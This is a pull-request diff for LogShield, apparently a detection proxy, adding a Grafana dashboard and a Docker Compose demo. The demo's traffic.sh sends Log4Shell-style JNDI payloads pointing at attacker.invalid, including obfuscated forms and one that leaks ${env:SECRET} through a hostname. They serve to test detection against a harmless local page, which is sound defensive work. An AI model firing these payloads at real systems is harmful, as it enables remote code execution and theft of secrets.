Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@ follow [Semantic Versioning](https://semver.org/) from the first tagged release.
## [Unreleased]

### Added
- `examples/grafana`: a Grafana dashboard for the documented metrics, a one-command Docker Compose demo (LogShield, Prometheus, Grafana and a traffic generator), and a test that fails if the dashboard queries a metric that is not exposed.
- `logshield check`: explain what the engine thinks of one payload (verdict, rules, decoding path, CVEs) without a proxy or a network. Defanged output, `-json`, script-friendly exit codes (0 clean, 3 suspicious, 4 malicious).
- `GOVERNANCE.md`, and a documented advisory and CVE process in `SECURITY.md`.
- Log-event schema in `docs/observability.md`, and tests that fail when a metric or a log field is added, renamed or retyped without being documented.
Expand Down
1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -367,6 +367,7 @@ test against systems you do not own or have written authorization to test.
| Assurance: Scorecard, Best Practices, SLSA and SSDF self-assessment | [docs/assurance.md](docs/assurance.md) |
| Load and latency report | [docs/load-report.md](docs/load-report.md) |
| Metrics, health checks, overload, Prometheus and Sigma rules | [docs/observability.md](docs/observability.md) |
| Grafana dashboard and a one-command demo | [examples/grafana](examples/grafana/README.md) |
| Roadmap and changelog | [docs/ROADMAP.md](docs/ROADMAP.md), [CHANGELOG.md](CHANGELOG.md) |
| Project governance, security policy, support | [GOVERNANCE.md](GOVERNANCE.md), [SECURITY.md](SECURITY.md), [SUPPORT.md](SUPPORT.md) |

Expand Down
3 changes: 3 additions & 0 deletions docs/observability.md
Original file line number Diff line number Diff line change
Expand Up @@ -62,6 +62,9 @@ suspicious or would-block request that was forwarded), `request failed`, or
| `detections` | Up to 8 findings, each with `rule`, `severity`, `location`, `scheme`, `evidence` and `decoded_via` (the decoding layers that revealed it). |
| `detections_omitted` | How many further findings were not listed. |

A ready-made Grafana dashboard, and a one-command demo that fills it with traffic,
are in [examples/grafana](../examples/grafana/README.md).

Suggested alerts:

- `increase(logshield_inspection_errors_total[5m]) > 0` (a bug; report it).
Expand Down
53 changes: 53 additions & 0 deletions examples/grafana/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
# Grafana dashboard

A ready-made Grafana dashboard for LogShield, built only on the metrics
documented in [docs/observability.md](../../docs/observability.md). A test fails
if the dashboard ever queries a metric LogShield does not expose.

It answers, top to bottom: is it working (requests, blocks, engine errors,
failed-open, p99 inspection time), what is happening to traffic (outcomes and
engine verdicts), what is it catching (detections per rule, exhausted budgets,
rejections, concurrency), and how fast it is (engine time and total request time,
with the project's 5 ms target drawn on the chart).

## See it in one command

The `demo/` directory runs LogShield, a plain nginx page behind it, Prometheus,
Grafana and a traffic generator that sends normal requests and attack-shaped
ones. Everything listens on `127.0.0.1` only; the attack payloads use reserved
`.invalid` hosts and the page behind LogShield is not vulnerable, so nothing is
at risk.

```sh
cd examples/grafana/demo
docker compose up
```

Open <http://127.0.0.1:13000>; the LogShield dashboard is the home page. LogShield
itself is on `127.0.0.1:18080` if you want to send it requests with `curl`. Give it
about a minute for the graphs to fill. Stop with `Ctrl+C`, then
`docker compose down`.

If a port is already in use on your machine (Docker reports "port is already
allocated"), pick others: `LOGSHIELD_PORT=28080 GRAFANA_PORT=13001 docker compose up`.

To try the monitor-mode workflow, set `LOGSHIELD_MODE: monitor` in
`demo/docker-compose.yml`: the "Would be blocked / s" panel then shows what block
mode would have stopped, which is the number to watch before you enforce.

## Use it with your own LogShield

1. Run LogShield with `-admin-listen` on an address Prometheus can reach (keep it
off public interfaces) and scrape `/metrics` from it.
2. In Grafana: Dashboards, New, Import, upload `logshield-dashboard.json`, and
choose your Prometheus data source.
3. Pick the Prometheus `job` that scrapes LogShield in the Job drop-down (it
defaults to all jobs that expose `logshield_build_info`).

Panels draw `rate()` over Grafana's `$__rate_interval`, so the scrape interval
does not need to be set by hand. Pair it with the alert rules in
[`../prometheus/logshield.rules.yml`](../prometheus/logshield.rules.yml).

The dashboard needs Grafana 10 or newer. It was written against the metric
schema of LogShield 0.1.x; metric names are part of the public surface and
follow the stability rule in [docs/releasing.md](../../docs/releasing.md).
61 changes: 61 additions & 0 deletions examples/grafana/demo/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
# One-command demo: LogShield in front of a web server, with Prometheus,
# Grafana and a generator that sends normal and attack-shaped requests.
#
# docker compose up
# open http://127.0.0.1:13000 (Dashboards > LogShield)
#
# If a port is taken on your machine, pick others:
# LOGSHIELD_PORT=28080 GRAFANA_PORT=13001 docker compose up
#
# Everything listens on 127.0.0.1 only. The attack payloads point at reserved
# ".invalid" names and the "upstream" is a plain nginx page, so there is nothing
# vulnerable here and nothing can connect out. This is a demo, not a deployment
# recipe: for real use pin images by digest (docs/deployment.md).
name: logshield-demo

services:
upstream:
image: nginx:1.27-alpine
volumes:
- ./upstream.conf:/etc/nginx/conf.d/default.conf:ro # answers 200 to everything, quietly

logshield:
image: ghcr.io/turlafsb/logshield:v0.1.0
environment:
LOGSHIELD_UPSTREAM: http://upstream:80
LOGSHIELD_MODE: block # use "monitor" to watch the "would be blocked" panel instead
LOGSHIELD_ADMIN_LISTEN: 0.0.0.0:9090
ports:
- "127.0.0.1:${LOGSHIELD_PORT:-18080}:8080" # the protected entry point: try curl here yourself
depends_on: [upstream]

prometheus:
image: prom/prometheus:v2.55.1
command: ["--config.file=/etc/prometheus/prometheus.yml", "--storage.tsdb.retention.time=2h"]
volumes:
- ./prometheus.yml:/etc/prometheus/prometheus.yml:ro
depends_on: [logshield]

grafana:
image: grafana/grafana:11.3.0
environment:
GF_AUTH_ANONYMOUS_ENABLED: "true"
GF_AUTH_ANONYMOUS_ORG_ROLE: Admin
GF_AUTH_DISABLE_LOGIN_FORM: "true"
GF_USERS_DEFAULT_THEME: dark
GF_DASHBOARDS_DEFAULT_HOME_DASHBOARD_PATH: /var/lib/grafana/dashboards/logshield-dashboard.json
volumes:
- ./grafana/provisioning:/etc/grafana/provisioning:ro
- ../logshield-dashboard.json:/var/lib/grafana/dashboards/logshield-dashboard.json:ro
ports:
- "127.0.0.1:${GRAFANA_PORT:-13000}:3000"
depends_on: [prometheus]

traffic:
image: curlimages/curl:8.11.0
entrypoint: ["/bin/sh", "/traffic.sh"]
environment:
TARGET: http://logshield:8080
volumes:
- ./traffic.sh:/traffic.sh:ro
depends_on: [logshield]
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
apiVersion: 1
providers:
- name: logshield
type: file
allowUiUpdates: false
options:
path: /var/lib/grafana/dashboards
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
apiVersion: 1
datasources:
- name: Prometheus
uid: prometheus
type: prometheus
access: proxy
url: http://prometheus:9090
isDefault: true
6 changes: 6 additions & 0 deletions examples/grafana/demo/prometheus.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
global:
scrape_interval: 5s
scrape_configs:
- job_name: logshield
static_configs:
- targets: ["logshield:9090"]
24 changes: 24 additions & 0 deletions examples/grafana/demo/traffic.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
#!/bin/sh
# Sends a steady mix of normal and attack-shaped requests through LogShield so
# the dashboard has something to show. Every attack host is a reserved ".invalid"
# name, so nothing can connect anywhere.
# The single quotes are deliberate: the payloads must reach LogShield literally.
# shellcheck disable=SC2016
TARGET="${TARGET:-http://logshield:8080}"
i=0
while true; do
i=$((i + 1))
# Normal traffic.
curl -s -o /dev/null "$TARGET/?page=$i" -H 'User-Agent: Mozilla/5.0 (demo)'
curl -s -o /dev/null "$TARGET/search?q=hello+world"
curl -s -o /dev/null -X POST "$TARGET/login" -d 'user=alice&note=correct+horse+battery'

# Attacks, at different rates so each rule shows up.
[ $((i % 2)) -eq 0 ] && curl -s -o /dev/null "$TARGET/" -H 'User-Agent: ${jndi:ldap://attacker.invalid/a}'
[ $((i % 3)) -eq 0 ] && curl -s -o /dev/null "$TARGET/" -H 'X-Api-Version: ${${lower:j}ndi:ldap://attacker.invalid/a}'
[ $((i % 4)) -eq 0 ] && curl -s -o /dev/null "$TARGET/?q=%24%7Bjndi:ldap://attacker.invalid/a%7D"
[ $((i % 5)) -eq 0 ] && curl -s -o /dev/null "$TARGET/" -H 'Referer: ${env:HOME}'
[ $((i % 7)) -eq 0 ] && curl -s -o /dev/null "$TARGET/" -H 'User-Agent: ${jndi:ldap://${env:SECRET}.attacker.invalid/a}'
[ $((i % 11)) -eq 0 ] && curl -s -o /dev/null "$TARGET/" -H 'User-Agent: ${jndi:ldap://127.0.0.1#attacker.invalid/a}'
sleep 0.3
done
9 changes: 9 additions & 0 deletions examples/grafana/demo/upstream.conf
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
# The protected "application" in the demo: it answers 200 to every request.
server {
listen 80;
access_log off;
location / {
default_type text/plain;
return 200 "hello from the protected app\n";
}
}
Loading
Loading